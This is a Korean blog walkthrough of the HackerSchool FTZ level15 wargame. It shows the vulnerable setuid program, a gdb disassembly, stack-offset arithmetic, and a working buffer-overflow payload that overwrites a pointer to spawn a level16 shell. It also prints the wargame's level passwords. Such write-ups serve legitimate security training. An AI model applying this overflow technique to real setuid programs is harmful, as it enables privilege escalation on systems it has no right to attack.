[ftz] hackerschool level15 풀이
- 보안/HackerSchool-ftz
- 2020. 1. 2. 11:16
l hackerschool level15 풀이
실행 환경 : VMware Workstation Pro, Red Hat Linux 9.0
참고 도서 : 문제 풀이로 배우는 시스템 해킹 테크닉
** 공부를 하면서 기록하는 내용이다 보니 틀린 내용이 있을 수도 있습니다. 틀린 부분이 있다면 댓글로 알려주시면 감사드리겠습니다. **
login as: level15 level15@192.168.31.128's password: |
level15 문제의 아이디인 level15 와 password인 guess what 을 입력하여 level15의 유저로 접속합니다.
[level15@ftz level15]$ ls -l total 28 -rwsr-x--- 1 level16 level15 13801 Dec 10 2002 attackme -rw-r----- 1 root level15 185 Dec 10 2002 hint drwxr-xr-x 2 root level15 4096 Feb 24 2002 public_html drwxrwxr-x 2 root level15 4096 Jan 11 2009 tmp |
ls -l 명령어를 사용하여 현재 위치( /home/level15 ) 아래에 있는 디렉터리의 목록을 확인합니다.
목록들 중 hint 파일을 읽어 어떤 식으로 문제를 풀어야 하는지 보도록 하겠습니다.
[level15@ftz level15]$ cat hint #include main() { int crap; int *check; char buf[20]; fgets(buf,45,stdin); if (*check==0xdeadbeef) { setreuid(3096,3096); system("/bin/sh"); } } |
cat 명령어를 사용하여 hint 파일을 확인해본 결과 위의 코드와 힌트를 볼 수 있습니다.
check 포인트 변수가 0xdeadbeef일 경우 /bin/sh가 실행되는 것을 볼 수 있습니다.
level14와 차이점은 check 변수가 포인트 변수로 선언되었다는 것입니다.
fgets를 보고 이 문제가 버퍼오버플로우를 이용한 문제라는 것을 알 수 있습니다.
[level15@ftz level15]$ ls -l ./tmp/level15 -rwxr-x--- 1 level15 level15 13801 Nov 14 08:09 ./tmp/level15 |
문제를 풀기 전 퍼미션 문제 때문에 attackme 파일을 tmp 폴더 안에 복사하도록 하겠습니다.
[level15@ftz tmp]$ gdb level15 GNU gdb Red Hat Linux (5.3post-0.20021129.18rh) Copyright 2003 Free Software Foundation, Inc. GDB is free software, covered by the GNU General Public License, and you are welcome to change it and/or distribute copies of it under certain conditions. Type "show copying" to see the conditions. There is absolutely no warranty for GDB. Type "show warranty" for details. This GDB was configured as "i386-redhat-linux-gnu"... (gdb) disas main Dump of assembler code for function main: 0x08048490 <main+0>: push %ebp 0x08048491 <main+1>: mov %esp,%ebp 0x08048493 <main+3>: sub $0x38,%esp 0x08048496 <main+6>: sub $0x4,%esp 0x08048499 <main+9>: pushl 0x8049664 0x0804849f <main+15>: push $0x2d 0x080484a1 <main+17>: lea 0xffffffc8(%ebp),%eax 0x080484a4 <main+20>: push %eax 0x080484a5 <main+21>: call 0x8048360 <fgets> 0x080484aa <main+26>: add $0x10,%esp 0x080484ad <main+29>: mov 0xfffffff0(%ebp),%eax 0x080484b0 <main+32>: cmpl $0xdeadbeef,(%eax) 0x080484b6 <main+38>: jne 0x80484dd <main+77> 0x080484b8 <main+40>: sub $0x8,%esp 0x080484bb <main+43>: push $0xc18 0x080484c0 <main+48>: push $0xc18 0x080484c5 <main+53>: call 0x8048380 <setreuid> 0x080484ca <main+58>: add $0x10,%esp 0x080484cd <main+61>: sub $0xc,%esp 0x080484d0 <main+64>: push $0x8048548 0x080484d5 <main+69>: call 0x8048340 <system> 0x080484da <main+74>: add $0x10,%esp 0x080484dd <main+77>: leave 0x080484de <main+78>: ret 0x080484df <main+79>: nop End of assembler dump. |
level15 파일을 gdb로 분석해보도록 하겠습니다.
disas main 명령을 통해 main의 어셈블리 코드를 보겠습니다. 우리는 여기서 빨간색 부분을 집중해 보도록 할 것입니다.
1. 0x08048493 <main+3>: sub $0x38,%esp
0x38을 10진수로 바꾸면 56입니다. 즉 56byte의 공간을 할당하는 것을 알 수 있습니다.
2. 0x080484a1 <main+17>: lea 0xffffffc8(%ebp),%eax
hint 코드에서 fgets에 인자로 buf, 45, stdin이 들어가는 것을 볼 수 있습니다. 스택에 들어갈 때에는 stdin, 45, buf 순서로 들어가기 때문에 가장 마지막에 push 되는 주소가 바로 buf의 시작 지점입니다. 즉 ebp - [0xffffffc8을 2의 보수]이 buf의 시작 지점이 됩니다. f는 2의 보수를 취할 시 0이 되므로 c8만 보도록 하겠습니다.
11001000 => 00110111 => 00111000 => 8 + 16 + 32 = 56
ebp - 56이 buf의 시작 지점입니다.
3. 0x080484ad <main+29>: mov 0xfffffff0(%ebp),%eax
0x080484b0 <main+32>: cmpl $0xdeadbeef,(%eax)
main + 29는 ebp - [fffffff0을 2의 보수 한 값]의 위치를 eax에 넣고, main + 32는 eax가 가리키는 값과 0xdeadbeef를 비교하고 있습니다. fffffff0를 2의 보수 취한 결과 아래와 같은 결과가 나오게 됩니다.
0000 => 1111 => 10000 => 16
check 포인트 변수는 메모리 주소를 저장하는 변수입니다. 따라서 ebp - 16의 위치에 0xdeadbeef를 가리키고 있는 메모리 주소가 들어가야 합니다.
전체적인 메모리 구조를 보면 다음과 같습니다.
0xdeadbeef를 가리키고 있는 메모리 주소가 어떤 것인지 알기 위해서 gdb로 main을 확인해보았습니다.
(gdb) x/100x main 0x8048490 <main> : 0x83e58955 0xec8338ec 0x6435ff04 0x6a080496 0x80484b0 <main+32>: 0xbeef3881 0x2575dead 0x6808ec83 0x00000c18 0x80484c0 <main+48>: 0x000c1868 0xfeb6e800 0xc483ffff 0x0cec8310 0x80484d0 <main+64>: 0x04854868 0xfe66e808 0xc483ffff 0x90c3c910 0x80484e0 <__do_global_ctors_aux>: 0x53e58955 0xa104ec83 0x0804962c 0x04962cbb 0x80484f0 <__do_global_ctors_aux+16>: 0xfff88308 0x768d1674 0x27bc8d00 0x00000000 0x8048500 <__do_global_ctors_aux+32>: 0xff04eb83 0x83038bd0 0xf475fff8 0xc35d5b58 0x8048510 : 0x83e58955 0xec8908ec 0xb68dc35d 0x00000000 0x8048520 <_fini>: 0x53e58955 0x0000e852 0x815b0000 0x001112c3 0x8048530 <_fini+16>: 0x00768d00 0xfffea7e8 0xfc5d8bff Cannot access memory at address 0x804853c (gdb) x/x 0x80484b0 0x80484b0 <main+32>: 0xbeef3881 (gdb) x/x 0x80484b1 0x80484b1 <main+33>: 0xadbeef38 (gdb) x/x 0x80484b2 0x80484b2 <main+34>: 0xdeadbeef |
0x80484b0이 시작되는 위치에 우리가 찾으려고 하는 주소가 있고, 정확한 위치를 알기 위해서 0x80484b0부터 b2까지 넣어본 결과 0x80484b2의 주소가 가리키는 값이 0xdeadbeef라는 것을 알 수 있습니다.
그럼 이제 페이로드를 작성해보겠습니다. check 포인터 변수에 0x80484b2를 넣고, 그 주소가 가리키는 값을 비교 후 0xdeadbeef가 맞다면 바로 셸이 실행되기 때문에 return까지 값을 채워주지 않아도 괜찮습니다.
fgets 방식으로 입력하기 때문에 아래와 같은 페이로드를 사용해야 합니다.
ㅣ페이로드
(python -c 'print "A"*40+"\xb2\x84\x04\x08"';cat) | ./attackme
[level15@ftz level15]$ (python -c 'print "A"*40+"\xb2\x84\x04\x08"';cat) | ./attackme id uid=3096(level16) gid=3095(level15) groups=3095(level15) level16 Password is "about to cause mass". |
id 명령을 통해 uid가 level16인 것을 알 수 있고, my-pass를 입력하여 level16의 password를 알아냈습니다.
l level16 비밀번호
level16 Password is "about to cause mass".
'보안 > HackerSchool-ftz' 카테고리의 다른 글
[ftz] hackerschool level17 풀이 (0) | 2020.01.03 |
---|---|
[ftz] hackerschool level16 풀이 (0) | 2020.01.02 |
[ftz] hackerschool level14 풀이 (0) | 2019.11.28 |
[ftz] hackerschool level13 풀이 (0) | 2019.11.21 |
[ftz] hackerschool level12 풀이 (0) | 2019.11.16 |
이 글을 공유하기